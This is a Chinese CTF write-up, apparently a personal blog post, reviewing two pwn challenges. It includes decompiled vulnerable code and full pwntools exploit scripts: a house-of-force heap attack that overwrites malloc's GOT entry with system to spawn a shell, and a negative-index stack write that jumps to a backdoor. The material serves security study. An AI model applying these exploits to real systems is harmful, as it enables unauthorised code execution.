ycb_final_review

文章发布时间:

最后更新时间:

剃头,仍需努力
点击下载

easy_force
checksec

1
2
3
4
5
6
7
└─$ checksec pwn
[*] '/mnt/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

本地debug不大行
house of force打完会:

1
2
[DEBUG] Received 0x1d bytes:
b'malloc(): corrupted top size\n'

只能写一次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
sub_4007D6(a1, a2, a3);
puts("This day is schoolday,now teacher ask u to write somethings on the balckbroad");
puts("the teacher will leave some space on the balckbroad");
puts("u only give 4 times to reply");
while ( 1 )
{
while ( 1 )
{
sub_400961();
__isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
sub_40093F();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
sub_400950();
}
else if ( v3 == 4 )
{
exit(1);
}
}
else if ( v3 == 1 )
{
sub_400819();
}
}
}

add存在堆溢出
没有对申请的size进行检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 sub_400819()
{
unsigned int v1; // [rsp+4h] [rbp-1Ch] BYREF
size_t v2; // [rsp+8h] [rbp-18h] BYREF
void *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("which index?");
__isoc99_scanf("%d", &v1);
if ( v1 > 4 || *(&buf + (int)v1) )
{
puts("already exist!");
exit(1);
}
puts("how much space do u want?");
__isoc99_scanf("%ld", &v2);
size[v1] = v2;
v3 = malloc(size[v1]);//无size检查
*(&buf + (int)v1) = v3;
puts("now what to write?");
read(0, *(&buf + (int)v1), 0x30uLL);//存在堆溢出
printf("the balckbroad on %p is in use\n", *(&buf + (int)v1));
return __readfsqword(0x28u) ^ v4;
}

打house of force泄露libc_base 和heap_base
打完的堆:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xa09000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0xa09290
Size: 0x1010 (with flag bits: 0x1011)

Allocated chunk | PREV_INUSE
Addr: 0xa0a2a0
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0xa0a2c0
Size: 0xfffffffffffffff8 (with flag bits: 0xffffffffffffffff)

然后把malloc_got改为system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

p = process('./pwn')
#p = remote('10.1.102.102', 10002)


def menu(idx):
p.sendlineafter('away', str(idx))


def add(idx, size, data):
menu(1)
p.sendlineafter('which index?', str(idx))
p.sendlineafter('space do u want?', str(size))
p.sendafter('what to write?', data)


add(0, 0x60000, b'\n')
p.recvuntil(b'the balckbroad on ')

libc_base = int(p.recvuntil(b' '), 16) - 0x58b010
success('libc_base:%s', hex(libc_base))

system = libc_base + libc.sym['system']

payload = b'/bin/sh'.ljust(0x18, b'\x00') + p64(0xffffffffffffffff)
add(1, 0x18, payload)

p.recvuntil(b'the balckbroad on ')
heap_base = int(p.recvuntil(b' '), 16)
success('heap_base:%s',hex(heap_base))

malloc_got = elf.got['malloc']

top_chunk = heap_base + 0x10
target_addr = malloc_got - 0x20 - top_chunk
add(2, target_addr, '\n')
add(3, 0x18, p64(system) * 2)


menu(1)
p.sendlineafter('which index?', str(4))
p.sendlineafter('space do u want?', str(heap_base))

p.interactive()

arrary_index_bank

1
2
3
4
5
6
7
└─$ checksec pwn1
[*] '/mnt/ycbpwn/pwn1'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

super_ai里存在整数溢出,数组元素为负数时可以泄露数据
赛场上不知道泄露的是什么
现在才知道能泄露程序地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
__int64 super_ai()
{
__int64 v1[3]; // [rsp+0h] [rbp-30h] BYREF
__int64 v2; // [rsp+18h] [rbp-18h]
__int64 v3; // [rsp+20h] [rbp-10h]
__int64 v4; // [rsp+28h] [rbp-8h]

puts("Hi, welcome to Samman Fried-Bank!");
puts("We totally care about your money, give it all to us!!!!");
puts("We can go to the ~~moon~~ *cough* I mean we are totally regulated!");
v1[crypto_bro] = 384400LL;
v1[you] = 1000LL;
while ( 1 )
{
while ( 1 )
{
v1[you] -= rand() % 100;
if ( v1[you] <= 0 )
{
puts("sorry you are too poor bye! (overdraft fees sounds like a profitable idea hmmm....)");
return 1LL;
}
menu(v1);
v4 = read_long();
if ( v4 != 1 )
break;
puts("Whose account?");
v3 = read_long();
if ( v3 > you )
{
puts("???");
exit(1);
}
printf("accounts[%lld] = %lld\n", v3, v1[v3]);
}
if ( v4 != 2 )
break;
puts("Whose account?");
v3 = read_long();
if ( v3 > you )
{
puts("???");
exit(1);
}
puts("How much?");
v2 = read_long();
v1[v3] = v2;
puts("Deposited! Your money is safe with us 100% guarenteed!");
}
puts("Sorry, please be civil with our bank AIs, we haven't figured ChatGPT yet.");
return 1LL;
}

偏移不会算,最后也没有打通
exp存给自己看了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./pwn1')

p = process('./pwn1')
#p = remote('10.1.102.102', 10000)

def debug(pro,bp):
gdb.attach(pro,str(bp))
pause()

def show(idx):
p.sendlineafter('You current have', '1')
p.sendlineafter('Whose account?', str(-0x8000000000000000 + idx))

def write(idx, data):
p.sendlineafter('You current have', '2')
p.sendlineafter('Whose account?', str(-0x8000000000000000 + idx)) # 7 ret
p.sendlineafter('How much?', str(data))


show(7)
p.recvuntil('] = ')
codebase = int(p.recv(14), 10) - 0x151b #开了pie,可以用偏移来搞地址了
success('codebase:%s', hex(codebase))

#debug(p,'b *$rebase(0x14D2)')

backdoor = codebase + 0x1315
write(7, backdoor)

p.sendlineafter('You current have', '3')
p.interactive()

有空接着写break&fix,挖大坑